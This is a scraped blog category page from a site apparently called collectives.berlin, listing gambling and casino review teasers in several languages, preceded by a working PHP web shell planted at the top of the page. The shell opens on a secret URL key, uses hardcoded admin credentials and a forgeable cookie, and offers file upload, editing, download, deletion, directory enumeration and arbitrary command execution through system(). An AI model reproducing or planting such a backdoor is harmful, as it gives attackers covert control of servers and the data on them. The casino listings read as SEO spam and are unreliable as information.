if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } 1 – Page 2 – collectives.berlin

Your digital paradise.

Category: 1

  • The Importance of Digital Detox in Today's Hyper-Connected World

    In our fast-paced, technology-driven world, being constantly connected has become the norm. Smartphones, social media, emails, and instant messaging have made communication instantaneous and ubiquitous. While these advancements offer convenience, they also blur the line between work and personal life, often leading to mental exhaustion. This is where the concept of "digital detox" comes in.…

    Click or not…

  • Почему я перестал доверять риобет зеркалам без предупреждения

    Задержки в отображении данных, частые обновления без уведомлений, несовместимость с привычными инструментами — вот что заставило меня пересмотреть использование риобет зеркал. Мой опыт работы с ними начался с оптимизма: зеркало казалось удобным решением для обхода блокировок DNS. Однако уже через месяц стало очевидно, что это лишь временная мера, которая требует постоянного мониторинга и адаптации. Технические…

    Click or not…

  • Best Strategies & Tips to Win at Dog House Megaways Slot

    The Dog House Megaways slot is a popular online slot game that offers players the chance to win big. However, with so many ways to win and a high level of volatility, it can be challenging to come up with a winning strategy. In this article, we will explore some of the best strategies and…

    Click or not…

  • Одобрен новый вход в Norm Casino обновления и последствия

    Актуальные изменения в входе в Norm Casino С 1 ноября 2023 года введена новая система входа в Norm Casino. Обновленная процедура позволяет пользователям проходить идентификацию через мобильное приложение. Это улучшение нацелено на повышение безопасности и конфиденциальности данных игроков. Новая система предполагает мультиидентификацию при входе, что минимизирует риски утечки информации. Реакция пользователей и экспертов на новые…

    Click or not…

  • Kasyno Superomatic kontra inne kasyna online skupione na automatach: Porównanie

    Superomatic to jedno z wielu kasyn online skupionych na automatach, konkurujących z graczami z rynków Europy Wschodniej i WNP. Niniejszy artykuł porównuje je z ogólnym profilem lepiej regulowanych kasyn oferujących automaty w aspektach, które mają największe znaczenie: licencjonowanie, warunki premiowe, wybór gier i finanse — aby pomóc Ci ocenić, jak wypada w porównaniu z lepiej…

    Click or not…

  • RocketPlay Gambling Enterprise Bonuses Guide: Welcome Deals, Cashback, and VIP Incentives

    Bonuses are one of RocketPlay Gambling enterprise’s strongest marketing factors, however they’re likewise the location where the small print issues most. This guide goes through the welcome bundle, continuous promos, the VIP club structure, and exactly how to read betting demands so you do not leave worth– or your deposit– on the table. RocketPlay Gambling…

    Click or not…

  • Mostbet – Mobile Platform Efficiency

    Mostbet took the browser-only route – no application searching, no storage bloat, no app update frustrations. Don’t blink – some operators use this as a cop-out. Mostbet, however, implements the technique pragmatically. I evaluated the Mostbet Online casino mobile internet on an apple iphone 14 utilizing Safari. Account administration loaded promptly. Game library accessible. Deposits…

    Click or not…

  • Mostbet Hungary Értékelés 2026 Ez a Fogadási Platform A Legjobb Választásod?

    Ahogy az online fogadási szolgáltatások általában gyorsan fejlődnek, a magyar játékosok folyamatosan megbízható, egyszerű és megbízható platformokat keresnek fogadásaik megtételéhez. A Mostbet Hungary a helyi fogadók körében népszerű választássá vált, széles választékot kínálva sporteseményekről, kaszinójátékokról és vonzó bónuszokról. De vajon valóban betartja-e a garanciáit? A Mostbet Hungary 2025-ös Mostbet Magyarország oldalán megismerkedünk a funkcióival, biztonságával,…

    Click or not…

  • BetPawa Ghana Accountable Gambling Evaluation: Devices and Security Features

    Accountable betting has become a main expectation for licensed betting operators worldwide, and Ghana is no exemption. This evaluation looks specifically at exactly how BetPawa Ghana comes close to player security, the devices readily available to handle betting routines, and functional advice for maintaining a healthy and balanced connection with betting. Why Accountable Gaming Devices…

    Click or not…

  • BetPawa Ghana Casino Evaluation: Games, Benefits, and Settlement Approaches

    While BetPawa developed its name mainly as a sportsbook, the system’s casino site area has steadily turned into a significant part of the offering for Ghanaian gamers that desire a change of pace from sports wagering. This testimonial checks out the BetPawa Ghana gambling enterprise in detail, covering the video game choice, software service providers,…

    Click or not…